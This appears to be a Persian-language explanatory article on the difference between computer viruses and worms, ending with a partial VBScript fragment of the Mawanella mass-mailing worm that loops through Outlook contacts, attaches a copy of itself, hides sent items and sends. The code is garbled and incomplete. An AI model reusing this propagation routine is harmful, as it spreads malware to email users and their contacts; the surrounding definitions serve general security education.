بررسی تفاوت بین ویروس و کرمهای اینترنت .
امروز میخواهیم توضیحاتی مختصر در خصوص کرمها و ویروسهای اینترنتی و تفاوتی بین این دو داشته باشیم در ابتدا تعریفی از هر کدام ارایه خواهیم داد، درنهایت سورس کد مربوط به یک کرم را ارایه میدهیم .
ویروسها
ویروس نوعی بدافزار است که با جای دادن یک کپی از خود در برنامه ای دیگر به آن پیوند می خورد و خودش را عضوی از آن برنامه می سازد. این بدافزار از رایانه ای به رایانه دیگر گسترش می یابد و آلودگی هایش را منتشر می کند. اثرات ویروس ها از عوارض آزار دهنده خفیف تا تخریبِ داده ها و یا تخریب خود نرم افزارها باهم متفاوت اند و حتی برخی از آنها می توانند موجب غیرفعال سازی و عدم سرویس دهی شوند. تقریباً همه ی ویروسها متکی به یک فایل اجرایی میباشند، از این رو اگر بر روی سیستمی ویروس وجود داشته باشد تنها زمانی فعال خواهد شد که کاربر، میزبان مخرب آن را باز یا اجرا کرده باشد. همزمان با اجرا شدن کد میزبان، کد ویروس نیز به همراه آن اجرا خواهد شد. معمولاً برنامه ی میزبان پس از آلوده شدن با ویروس نیز همچنان عملکردی طبیعی دارد اما در مواقعی ویروس طوری طراحی شده است تا با تکثیر و کپی کردن مکرر از خودش بر روی برنامه ی میزبان آن را کاملاً از میان بردارد و برنامه ی میزبان را به طور کل نابود سازد. ویروس ها میتوانند به همراه یک سند یا نرم افزاری که به آن ضمیمه شده اند در حین ارسال از رایانه ای به رایانه ی دیگر توسط انواع حافظه های همراه، دیسک ها، استفاده کردن از شبکه، اشتراک گذاری فایل یا ضمیمه شدن به یک ایمیل گسترش یابند.
کرم کامپیوتری
کرم ها نیز مانند ویروس ها نمونه های تخریبگری را از روی خودشان تکثیر می کنند و می توانند خسارت هایی مشابه ویروس ها را ایجاد کنند. اما برخلاف ویروس ها، کرم ها برای گسترش یافتن نیازمند همراه شدن با فایل های میزبان نیستند و نرم افزارهای مستقلی می باشند. کرم ها برای پراکنده شدن حتی از انسان هم کمک نمی گیرند. برای انتشار و اجرا شدن کرم ها از نوعی مهندسی اجتماعی و فریب دادن کاربران استفاده می شود. یک کرم ابتدا از قسمت آسیب پذیر موجود در یک سیستم نفوذ می کند و سپس با سوء استفاده از مزیت جابجایی فایل یا جابجایی داده اقدام به گسترش خود می کند و به همین ترتیب کرم های تکثیر شده مهاجرت خود را به مکان های جدیدتر ادامه میدهند. کرم به برنامه ای گفته می شود که می تواند خود را باز تولید کند. این برنامه با استفاده از شبکه، کپی های خود را از گره ای به گره های دیگر آن می فرستد. برخلاف ویروس، کرم ها خود را به برنامه های دیگر نمی چسبانند. عموما کرم ها با اشغال پهنای باند به شبکه آسیب می رسانند
قطعه کد مربوط به یک کرم کامپیوتری
OutlookA.CreateItem(0) Set ContactX = ListIndex.AddressEntries(Count) 'msgbox contactx.address 'Mailx.Recipients.Add(ContactX.Address) MailX.To = ContactX.Address MailX.Subject = W"MawanellaW" MailX.Body = vbcrlf&W"Mawanella is one of the Sri Lanka's Muslim VillageW"&vbcrlf 'Set Attachment=MailX.Attachments 'Attachment.Add dirsystem & W"\Mawanella.vbsW" 'Mailx.Attachments.Add(dirsystem & W"\Mawanella.vbsW") Mailx.Attachments.Add(dirsystem & W"\Mawanella.vbsW") MailX.DeleteAfterSubmit = True If MailX.To <> W"W" Then MailX.Send End If Next End If NextElse msgBox W"Please Forward this to everyoneW" End ifstrMsg= W" ) (W" & vbcrlfstrMsg= strMsg & W"( ) ( ) W" & vbcrlfstrMsg= strMsg & W" ( ) ( )W" & vbcrlfstrMsg= strMsg & W" ( ) ( )W" & vbcrl
.